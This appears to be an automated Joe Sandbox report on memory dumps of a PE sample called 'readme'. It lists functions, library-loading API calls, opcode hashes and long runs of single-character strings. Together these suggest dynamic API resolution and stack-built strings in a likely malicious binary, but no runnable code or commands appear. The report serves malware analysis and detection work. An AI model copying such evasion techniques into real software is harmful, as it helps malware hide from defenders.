Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction ID: 3fe268917fd00d31aa756ebf7d8a68b1e22f7c153431ead6360d70d6e1d70485
Opcode Fuzzy Hash: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction Fuzzy Hash: A7E01A70B562129BEB147F316D0672E7AE49B84747F84587EB400C61A0FE788A459609

Non-executed Functions

Function 0041C660 Relevance: 370.5, APIs: 33, Strings: 178, Instructions: 1203libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 0041C738
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C804
GetProcAddress.KERNEL32 ref: 0041C861
GetProcAddress.KERNEL32(00000000,?), ref: 0041C8C5
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C9A4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041CA27

Strings

W, xrefs: 0041D9BC
_, xrefs: 0041DD69
H, xrefs: 0041DAE9
c, xrefs: 0041D2CA
r, xrefs: 0041C8B5
c, xrefs: 0041CA3F
Y, xrefs: 0041D46A
5, xrefs: 0041D0AE
l, xrefs: 0041D4D9
c, xrefs: 0041CA67
$, xrefs: 0041D9AD
6, xrefs: 0041DD6E
g, xrefs: 0041DB47
T, xrefs: 0041DB3D
q, xrefs: 0041D50B
4, xrefs: 0041D3C2
w, xrefs: 0041CBFA
O, xrefs: 0041CC29
n, xrefs: 0041CAEC
(, xrefs: 0041D3DA
g, xrefs: 0041D92D
s, xrefs: 0041C851
B, xrefs: 0041CDF0
o, xrefs: 0041C841
[, xrefs: 0041CADD
H, xrefs: 0041DCC4
H, xrefs: 0041D4E3
d, xrefs: 0041CBEA
S, xrefs: 0041D2AA
e, xrefs: 0041CA9F
+, xrefs: 0041D782
L, xrefs: 0041D056
X, xrefs: 0041DD32
L, xrefs: 0041DC84
v, xrefs: 0041D501
t, xrefs: 0041DD9B
L, xrefs: 0041C972
i, xrefs: 0041D39A
/, xrefs: 0041D925
A, xrefs: 0041D392
B, xrefs: 0041D096
., xrefs: 0041D249
;, xrefs: 0041CD24
~, xrefs: 0041CD8D
i, xrefs: 0041DC4C
;, xrefs: 0041DC3C
Z, xrefs: 0041C7B5
7, xrefs: 0041D0FD
e, xrefs: 0041CA5F
P, xrefs: 0041D44C
S, xrefs: 0041DD7D
d, xrefs: 0041CAAF
I, xrefs: 0041CCF8
$, xrefs: 0041DC54
^, xrefs: 0041D12E
e, xrefs: 0041D8DB
I, xrefs: 0041D524
x, xrefs: 0041D9D5
), xrefs: 0041D0E6
d, xrefs: 0041D32A
4, xrefs: 0041D3B2
7, xrefs: 0041DC34
R, xrefs: 0041D2BA
a, xrefs: 0041C89D
o, xrefs: 0041DB51
t, xrefs: 0041C839
x, xrefs: 0041D267
~, xrefs: 0041DAA8
$, xrefs: 0041DD82
9, xrefs: 0041D915
g, xrefs: 0041D51F
p, xrefs: 0041DD91
W, xrefs: 0041D2FA
>, xrefs: 0041D86A
r, xrefs: 0041D05E
I, xrefs: 0041DAC1
C, xrefs: 0041C926
&, xrefs: 0041D87A
t, xrefs: 0041CA6F
|, xrefs: 0041D244
h, xrefs: 0041CBD2
`, xrefs: 0041D94D
W, xrefs: 0041D2A2
<, xrefs: 0041DD78
B, xrefs: 0041D8D1
z, xrefs: 0041CC69
e, xrefs: 0041D31A
&, xrefs: 0041CEF2
d, xrefs: 0041C6BC
&, xrefs: 0041CD2E
e, xrefs: 0041C885
_, xrefs: 0041D20A
u, xrefs: 0041DCFB
@, xrefs: 0041C6C4
n, xrefs: 0041CC02
L, xrefs: 0041DD0F
., xrefs: 0041C684
8, xrefs: 0041D7D5
k, xrefs: 0041D352
n, xrefs: 0041CA4F
f, xrefs: 0041CC49
`, xrefs: 0041DB99
t, xrefs: 0041CBE2
6, xrefs: 0041DD19
R, xrefs: 0041CC59
w, xrefs: 0041D7BD
h, xrefs: 0041C831
n, xrefs: 0041CA57
v, xrefs: 0041D2D2
A, xrefs: 0041D30A
I, xrefs: 0041DDA5
B, xrefs: 0041CACE
@, xrefs: 0041DCCC
W, xrefs: 0041DD87
t, xrefs: 0041D271
n, xrefs: 0041CAA7
*, xrefs: 0041CFEB
&, xrefs: 0041DAF8
r, xrefs: 0041D8B2
M, xrefs: 0041DD1E
$, xrefs: 0041D429
1, xrefs: 0041DDA0
9, xrefs: 0041DD50
b, xrefs: 0041CAE7
`, xrefs: 0041DC64
h, xrefs: 0041D93D
T, xrefs: 0041DADA
f, xrefs: 0041D451
X, xrefs: 0041DD73
L, xrefs: 0041DC7C
o, xrefs: 0041CA47
u, xrefs: 0041CBDA
S, xrefs: 0041D4C0
1, xrefs: 0041DAB7
<, xrefs: 0041D401
S, xrefs: 0041DB9E
>, xrefs: 0041D41A
h, xrefs: 0041D8F5
J, xrefs: 0041DD55
d, xrefs: 0041C8AD
J, xrefs: 0041D91D
T, xrefs: 0041C90E
a, xrefs: 0041D465
4, xrefs: 0041D3CA
<, xrefs: 0041D8A2
7, xrefs: 0041CECF
w, xrefs: 0041D9B7
:, xrefs: 0041D90D
S, xrefs: 0041D312
\, xrefs: 0041D0CE
T, xrefs: 0041D35A
D, xrefs: 0041D43D
N, xrefs: 0041D4E8
, xrefs: 0041C956
J, xrefs: 0041D37A
S, xrefs: 0041D302
S, xrefs: 0041DD28
`, xrefs: 0041D852
p, xrefs: 0041D10C
2, xrefs: 0041D862
y, xrefs: 0041D905
A, xrefs: 0041D52D
e, xrefs: 0041D2C2
m, xrefs: 0041DB80
., xrefs: 0041C9C3
#, xrefs: 0041D1CA
s, xrefs: 0041CA97
x, xrefs: 0041D787
[, xrefs: 0041D45B
|, xrefs: 0041DD5F
+, xrefs: 0041CD7E
n, xrefs: 0041D322
Q, xrefs: 0041D362
n, xrefs: 0041C849
F, xrefs: 0041C77D
M, xrefs: 0041DCAC
t, xrefs: 0041D8E5
A, xrefs: 0041D2B2

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $#$$$$$$$$$&$&$&$&$($)$*$+$+$.$.$.$/$1$1$2$4$4$4$5$6$6$7$7$7$8$9$9$:$;$;$<$<$<$>$>$@$@$A$A$A$A$B$B$B$B$C$D$F$H$H$H$I$I$I$I$J$J$J$L$L$L$L$L$M$M$N$O$P$Q$R$R$S$S$S$S$S$S$S$T$T$T$T$W$W$W$W$X$X$Y$Z$[$[$\$^$_$_$`$`$`$`$a$a$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$f$f$g$g$g$h$h$h$h$i$i$k$l$m$n$n$n$n$n$n$n$o$o$o$p$p$q$r$r$r$s$s$t$t$t$t$t$t$u$u$v$v$w$w$w$x$x$x$y$z$|$|$~$~
API String ID: 2238633743-634024490
Opcode ID: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction ID: f457ac551960ea605d3d070b3bc85a292eac30f70a1b7871ccb60a54743c72b9
Opcode Fuzzy Hash: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction Fuzzy Hash: B8E2982000C7C2C9D332D63C984879FBFD51BA7228F584B9DE1E95A2E2D7A98149C777

Function 00408BC0 Relevance: 300.7, APIs: 1, Strings: 170, Instructions: 1478COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
$, xrefs: 0040A7EC
e, xrefs: 00409AFB
Z, xrefs: 0040AA1E
K, xrefs: 00409A4B
O, xrefs: 00409F6E
1, xrefs: 00409BED
E, xrefs: 004091E5
:, xrefs: 0040A3E2
&, xrefs: 0040A32F
-, xrefs: 0040A33F
H, xrefs: 0040A0A1
5, xrefs: 00409C8B
/, xrefs: 00408D53
N, xrefs: 0040906F
y, xrefs: 004091ED
g, xrefs: 004096A6
d, xrefs: 0040A868
t, xrefs: 00409E87
*, xrefs: 0040A5A5
G, xrefs: 0040997E
K, xrefs: 00409C05
q, xrefs: 00409BAD
s, xrefs: 0040901F
/, xrefs: 004098DE
h, xrefs: 0040A69E
6, xrefs: 00409A5B
', xrefs: 0040A844
_, xrefs: 0040A61E
<, xrefs: 00409739
7, xrefs: 00409C15
), xrefs: 0040A8BB
>, xrefs: 0040981D
?, xrefs: 00408F13
n, xrefs: 004090CD
F, xrefs: 00409048
4, xrefs: 00409CDB
u, xrefs: 0040A880
}, xrefs: 0040A34F
n, xrefs: 00408EE3
i, xrefs: 00409E0D
2, xrefs: 00408F0B
C, xrefs: 00409F76
{, xrefs: 0040A170
9, xrefs: 0040A057
Z, xrefs: 00409E9F
?, xrefs: 0040A555
:, xrefs: 0040A80C
U, xrefs: 00408DEE
#, xrefs: 0040A626
L, xrefs: 0040AA35
3, xrefs: 00409CD3
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
g, xrefs: 0040A0A9
n, xrefs: 00409D85
-, xrefs: 00409706
K, xrefs: 00409F8E
x, xrefs: 00408DE6
b, xrefs: 00408D5B
), xrefs: 00409D7D
>, xrefs: 00409134
5, xrefs: 0040961C
%, xrefs: 00409A43
', xrefs: 004093E2
d, xrefs: 0040A878
", xrefs: 0040A047
D, xrefs: 0040A7E4
;, xrefs: 00409CC3
i, xrefs: 004096CE
r, xrefs: 0040A860
3, xrefs: 00409986
H, xrefs: 004091DD
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
\, xrefs: 0040A03A
q, xrefs: 00409AF3
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
%, xrefs: 004090C5
9, xrefs: 0040A1D2
o, xrefs: 0040A870
-, xrefs: 0040992F
Z, xrefs: 00409CEB
}, xrefs: 0040939E
_, xrefs: 00409AAB
., xrefs: 00409CCB
\, xrefs: 0040931E
&, xrefs: 0040A51D
_, xrefs: 00409475
7, xrefs: 0040A5C5
z, xrefs: 00408DDE
, xrefs: 0040A4FD
_, xrefs: 00409B95
V, xrefs: 0040A75E
l, xrefs: 0040998E
d, xrefs: 0040A96F
p, xrefs: 0040A3C2
[, xrefs: 004099BE
&, xrefs: 004095A9
o, xrefs: 004098E6
V, xrefs: 00409F66
}, xrefs: 00409485
Z, xrefs: 00408E76
4, xrefs: 00409465
L, xrefs: 0040A04F
<, xrefs: 00409A73
2, xrefs: 0040A3DA
d, xrefs: 0040A160
8, xrefs: 0040991F
E, xrefs: 00408DD6
l, xrefs: 0040A987
a, xrefs: 004090DD
$, xrefs: 00409AD2
$, xrefs: 0040913C
f, xrefs: 0040999E
!, xrefs: 0040A565
4, xrefs: 0040AA23
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
O, xrefs: 0040A5D5
#, xrefs: 00409E1D
a, xrefs: 004095A1
E, xrefs: 0040A03F
N, xrefs: 004093FA
K, xrefs: 00409EA7
), xrefs: 0040980D
I, xrefs: 0040990F
J, xrefs: 004096B6
., xrefs: 00409F96
E, xrefs: 00409CAA
], xrefs: 0040A97F
!, xrefs: 004091CD
T, xrefs: 00409D6A
4, xrefs: 00409D95
@, xrefs: 0040A030
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
Z, xrefs: 00409D00
t, xrefs: 0040A858
H, xrefs: 00408F9C
_, xrefs: 0040A814
=, xrefs: 00409CE3
P, xrefs: 0040A64E
I, xrefs: 00409A8B
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
c, xrefs: 00409591
s, xrefs: 00409030
;, xrefs: 0040A5BD
o, xrefs: 004098F0
*, xrefs: 00409B03
j, xrefs: 0040A0B1
s, xrefs: 0040A804
B, xrefs: 00409F86
u, xrefs: 004090D5
W, xrefs: 00409050
9, xrefs: 004092A1
j, xrefs: 00409624
(, xrefs: 00408F8C
^, xrefs: 00409F7E
}, xrefs: 0040A505
[, xrefs: 00409E97
^, xrefs: 0040A595
=, xrefs: 0040920D
p, xrefs: 004093EA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$%$&$&$&$'$'$($)$)$)$*$*$+$-$-$-$.$.$.$/$/$1$2$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$?$@$B$C$D$E$E$E$E$E$E$F$F$G$H$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$N$O$O$P$P$T$T$U$V$V$W$Z$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$a$b$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$n$n$o$o$o$p$p$q$q$r$s$s$s$t$t$u$u$x$y$z${${$}$}$}$}
API String ID: 0-319044234
Opcode ID: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction ID: 112317c9313a74c9b12a8399abeb6d4382841cb44c361794d62521e76ea744b4
Opcode Fuzzy Hash: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction Fuzzy Hash: 1513B12000C7C29AD332C63898587DFBED55BA7328F588BADD1ED4A2D2D775020AD767

Function 0041D159 Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 622libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00000032), ref: 0041D1AD
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D28A
GetProcAddress.KERNEL32 ref: 0041D2E2
GetProcAddress.KERNEL32(00000000), ref: 0041D33A
GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

W, xrefs: 0041D9BC
_, xrefs: 0041DD69
H, xrefs: 0041DAE9
c, xrefs: 0041D2CA
Y, xrefs: 0041D46A
l, xrefs: 0041D4D9
$, xrefs: 0041D9AD
6, xrefs: 0041DD6E
g, xrefs: 0041DB47
T, xrefs: 0041DB3D
q, xrefs: 0041D50B
4, xrefs: 0041D3C2
(, xrefs: 0041D3DA
g, xrefs: 0041D92D
H, xrefs: 0041DCC4
H, xrefs: 0041D4E3
S, xrefs: 0041D2AA
+, xrefs: 0041D782
X, xrefs: 0041DD32
L, xrefs: 0041DC84
v, xrefs: 0041D501
t, xrefs: 0041DD9B
i, xrefs: 0041D39A
/, xrefs: 0041D925
A, xrefs: 0041D392
., xrefs: 0041D249
i, xrefs: 0041DC4C
;, xrefs: 0041DC3C
P, xrefs: 0041D44C
S, xrefs: 0041DD7D
$, xrefs: 0041DC54
e, xrefs: 0041D8DB
I, xrefs: 0041D524
x, xrefs: 0041D9D5
d, xrefs: 0041D32A
4, xrefs: 0041D3B2
7, xrefs: 0041DC34
R, xrefs: 0041D2BA
o, xrefs: 0041DB51
x, xrefs: 0041D267
~, xrefs: 0041DAA8
$, xrefs: 0041DD82
9, xrefs: 0041D915
g, xrefs: 0041D51F
p, xrefs: 0041DD91
W, xrefs: 0041D2FA
>, xrefs: 0041D86A
I, xrefs: 0041DAC1
&, xrefs: 0041D87A
|, xrefs: 0041D244
`, xrefs: 0041D94D
W, xrefs: 0041D2A2
<, xrefs: 0041DD78
B, xrefs: 0041D8D1
e, xrefs: 0041D31A
_, xrefs: 0041D20A
u, xrefs: 0041DCFB
L, xrefs: 0041DD0F
8, xrefs: 0041D7D5
k, xrefs: 0041D352
`, xrefs: 0041DB99
6, xrefs: 0041DD19
w, xrefs: 0041D7BD
v, xrefs: 0041D2D2
A, xrefs: 0041D30A
I, xrefs: 0041DDA5
@, xrefs: 0041DCCC
W, xrefs: 0041DD87
t, xrefs: 0041D271
&, xrefs: 0041DAF8
r, xrefs: 0041D8B2
M, xrefs: 0041DD1E
$, xrefs: 0041D429
1, xrefs: 0041DDA0
9, xrefs: 0041DD50
`, xrefs: 0041DC64
h, xrefs: 0041D93D
T, xrefs: 0041DADA
f, xrefs: 0041D451
X, xrefs: 0041DD73
L, xrefs: 0041DC7C
S, xrefs: 0041D4C0
1, xrefs: 0041DAB7
<, xrefs: 0041D401
S, xrefs: 0041DB9E
>, xrefs: 0041D41A
h, xrefs: 0041D8F5
J, xrefs: 0041DD55
J, xrefs: 0041D91D
a, xrefs: 0041D465
4, xrefs: 0041D3CA
<, xrefs: 0041D8A2
w, xrefs: 0041D9B7
:, xrefs: 0041D90D
S, xrefs: 0041D312
T, xrefs: 0041D35A
D, xrefs: 0041D43D
N, xrefs: 0041D4E8
J, xrefs: 0041D37A
S, xrefs: 0041D302
S, xrefs: 0041DD28
`, xrefs: 0041D852
2, xrefs: 0041D862
y, xrefs: 0041D905
A, xrefs: 0041D52D
e, xrefs: 0041D2C2
m, xrefs: 0041DB80
#, xrefs: 0041D1CA
x, xrefs: 0041D787
[, xrefs: 0041D45B
|, xrefs: 0041DD5F
n, xrefs: 0041D322
Q, xrefs: 0041D362
M, xrefs: 0041DCAC
t, xrefs: 0041D8E5
A, xrefs: 0041D2B2

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$$$$$$$$$&$&$($+$.$/$1$1$2$4$4$4$6$6$7$8$9$9$:$;$<$<$<$>$>$@$A$A$A$A$B$D$H$H$H$I$I$I$J$J$J$L$L$L$M$M$N$P$Q$R$S$S$S$S$S$S$S$T$T$T$W$W$W$W$X$X$Y$[$_$_$`$`$`$`$a$c$d$e$e$e$f$g$g$g$h$h$i$i$k$l$m$n$o$p$q$r$t$t$t$u$v$v$w$w$x$x$x$y$|$|$~
API String ID: 2238633743-1057226733
Opcode ID: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction ID: 2d7c54381bbd094f02955be387350197a3f66cd921c6525618d4a2725f5bc4d0
Opcode Fuzzy Hash: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction Fuzzy Hash: 5B829A2000C7C2C9D332C67C584879FBFD51BA7228F584B9DE1E95A2E2D7A9814AC777

Function 0040C8E0 Relevance: 209.4, APIs: 14, Strings: 125, Instructions: 925stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75920440,75920440), ref: 0040C96E
lstrlenA.KERNEL32(?,?,?,00000002,?,00000000), ref: 0040CAE7
lstrlenA.KERNEL32(?), ref: 0040CAFA
lstrlenA.KERNEL32(00000000), ref: 0040CC34
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CCBA
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CDD4

Strings

:, xrefs: 0040CC6E
., xrefs: 0040D2F6
W, xrefs: 0040D4F8
i, xrefs: 0040D1CD
`, xrefs: 0040D575
?, xrefs: 0040D25D
--%s--, xrefs: 0040D90D
!, xrefs: 0040D744
0, xrefs: 0040D6BC
>, xrefs: 0040D4FD
!, xrefs: 0040D73C
M, xrefs: 0040D30E
', xrefs: 0040D55C
K, xrefs: 0040D24D
4, xrefs: 0040D734
/, xrefs: 0040D5D8
d, xrefs: 0040D4A3
!, xrefs: 0040D6C4
X, xrefs: 0040D7EB
x, xrefs: 0040D6CC
3, xrefs: 0040D19D
3, xrefs: 0040D78C
T, xrefs: 0040D295
:, xrefs: 0040D71C
--%s, xrefs: 0040D097, 0040D0EC
o, xrefs: 0040D724
#, xrefs: 0040D1DD
0, xrefs: 0040D7A4
[, xrefs: 0040D4F3
!, xrefs: 0040D774
E, xrefs: 0040D2AD
\, xrefs: 0040D018
&, xrefs: 0040D6E4
\, xrefs: 0040D5A2
&u#&, xrefs: 0040CA56, 0040CA5A
Q, xrefs: 0040D5BF
E, xrefs: 0040D520
<, xrefs: 0040D794
i, xrefs: 0040C9E4
g, xrefs: 0040CBC0
`, xrefs: 0040CF92
w, xrefs: 0040D036
u, xrefs: 0040D72C
n, xrefs: 0040D185
A, xrefs: 0040D2E3
Q, xrefs: 0040D584
5, xrefs: 0040D5B5
0, xrefs: 0040D7BC
], xrefs: 0040C8FB
P, xrefs: 0040CC09
7, xrefs: 0040D1BD
8, xrefs: 0040CD22
_, xrefs: 0040D2FB
4, xrefs: 0040D195
P, xrefs: 0040D1B5
&, xrefs: 0040D6FC
[, xrefs: 0040D23D
x, xrefs: 0040D2E8
w, xrefs: 0040D7CC
0, xrefs: 0040D3BA
!, xrefs: 0040D70C
6, xrefs: 0040D754
9, xrefs: 0040D4DF
_, xrefs: 0040D7F3
", xrefs: 0040CD4F
F, xrefs: 0040D2CA
8, xrefs: 0040D764
8, xrefs: 0040D7B4
%, xrefs: 0040D6EC
<, xrefs: 0040D714
t, xrefs: 0040C9DF
2, xrefs: 0040D344
4, xrefs: 0040D5BA
<, xrefs: 0040D6DC
k, xrefs: 0040C9E9
n, xrefs: 0040D77C
Z, xrefs: 0040D245
g, xrefs: 0040CD04
8, xrefs: 0040CD36
_, xrefs: 0040D2BD
u, xrefs: 0040D784
X, xrefs: 0040C905
9, xrefs: 0040CF8D
&, xrefs: 0040D7DB
@, xrefs: 0040C9DA
_, xrefs: 0040CFC9
=, xrefs: 0040D75C
t, xrefs: 0040D235
n, xrefs: 0040D5CE
1, xrefs: 0040D2D9
%, xrefs: 0040D4C6
c, xrefs: 0040D502
x, xrefs: 0040D205
A, xrefs: 0040D384
', xrefs: 0040D255
q, xrefs: 0040CFAB
U, xrefs: 0040D810
U, xrefs: 0040D7FB
e, xrefs: 0040D28D
m, xrefs: 0040CBD3
:, xrefs: 0040D6F4
4, xrefs: 0040D74C
f, xrefs: 0040D5EC
w, xrefs: 0040D7E3
+, xrefs: 0040D3B5
+, xrefs: 0040CAA4
h, xrefs: 0040D7C4
<, xrefs: 0040D33A
', xrefs: 0040D5E2
:, xrefs: 0040D6AC
j, xrefs: 0040CB78
n, xrefs: 0040CBFF
4, xrefs: 0040D7AC
<, xrefs: 0040D704
8, xrefs: 0040D275
0, xrefs: 0040D76C
/, xrefs: 0040D022
5, xrefs: 0040CB70
i, xrefs: 0040D36B
E, xrefs: 0040D265
!, xrefs: 0040D6B4
(, xrefs: 0040D5F6
9, xrefs: 0040D79C
:, xrefs: 0040CC13
., xrefs: 0040D3A6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: lstrlen
String ID: !$!$!$!$!$!$"$#$%$%$&$&$&$&u#&$'$'$'$($+$+$--%s$--%s--$.$.$/$/$0$0$0$0$0$1$2$3$3$4$4$4$4$4$5$5$6$7$8$8$8$8$8$9$9$9$:$:$:$:$:$<$<$<$<$<$=$>$?$@$A$A$E$E$E$F$K$M$P$P$Q$Q$T$U$U$W$X$X$Z$[$[$\$\$]$_$_$_$_$`$`$c$d$e$f$g$g$h$i$i$i$j$k$m$n$n$n$n$o$q$t$t$u$u$w$w$w$x$x$x
API String ID: 1659193697-105764249
Opcode ID: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction ID: 76a2d0d3a120653ea146fb598d041ca30ec9760fe042aa55d2c4b689ffa964e7
Opcode Fuzzy Hash: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction Fuzzy Hash: 40A2072110C7C1D9D332C738988878FBFD51BA7228F485B9DE1E85A2D2D7B98149C76B

Function 00409119 Relevance: 187.4, Strings: 149, Instructions: 1189COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
$, xrefs: 0040A7EC
e, xrefs: 00409AFB
Z, xrefs: 0040AA1E
K, xrefs: 00409A4B
O, xrefs: 00409F6E
1, xrefs: 00409BED
E, xrefs: 004091E5
:, xrefs: 0040A3E2
&, xrefs: 0040A32F
-, xrefs: 0040A33F
H, xrefs: 0040A0A1
5, xrefs: 00409C8B
y, xrefs: 004091ED
g, xrefs: 004096A6
d, xrefs: 0040A868
t, xrefs: 00409E87
*, xrefs: 0040A5A5
G, xrefs: 0040997E
K, xrefs: 00409C05
q, xrefs: 00409BAD
/, xrefs: 004098DE
h, xrefs: 0040A69E
6, xrefs: 00409A5B
', xrefs: 0040A844
_, xrefs: 0040A61E
<, xrefs: 00409739
7, xrefs: 00409C15
), xrefs: 0040A8BB
>, xrefs: 0040981D
4, xrefs: 00409CDB
u, xrefs: 0040A880
}, xrefs: 0040A34F
i, xrefs: 00409E0D
C, xrefs: 00409F76
{, xrefs: 0040A170
9, xrefs: 0040A057
Z, xrefs: 00409E9F
?, xrefs: 0040A555
:, xrefs: 0040A80C
#, xrefs: 0040A626
L, xrefs: 0040AA35
3, xrefs: 00409CD3
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
g, xrefs: 0040A0A9
n, xrefs: 00409D85
-, xrefs: 00409706
K, xrefs: 00409F8E
), xrefs: 00409D7D
>, xrefs: 00409134
5, xrefs: 0040961C
%, xrefs: 00409A43
', xrefs: 004093E2
d, xrefs: 0040A878
", xrefs: 0040A047
D, xrefs: 0040A7E4
;, xrefs: 00409CC3
i, xrefs: 004096CE
r, xrefs: 0040A860
3, xrefs: 00409986
H, xrefs: 004091DD
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
\, xrefs: 0040A03A
q, xrefs: 00409AF3
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
9, xrefs: 0040A1D2
o, xrefs: 0040A870
-, xrefs: 0040992F
Z, xrefs: 00409CEB
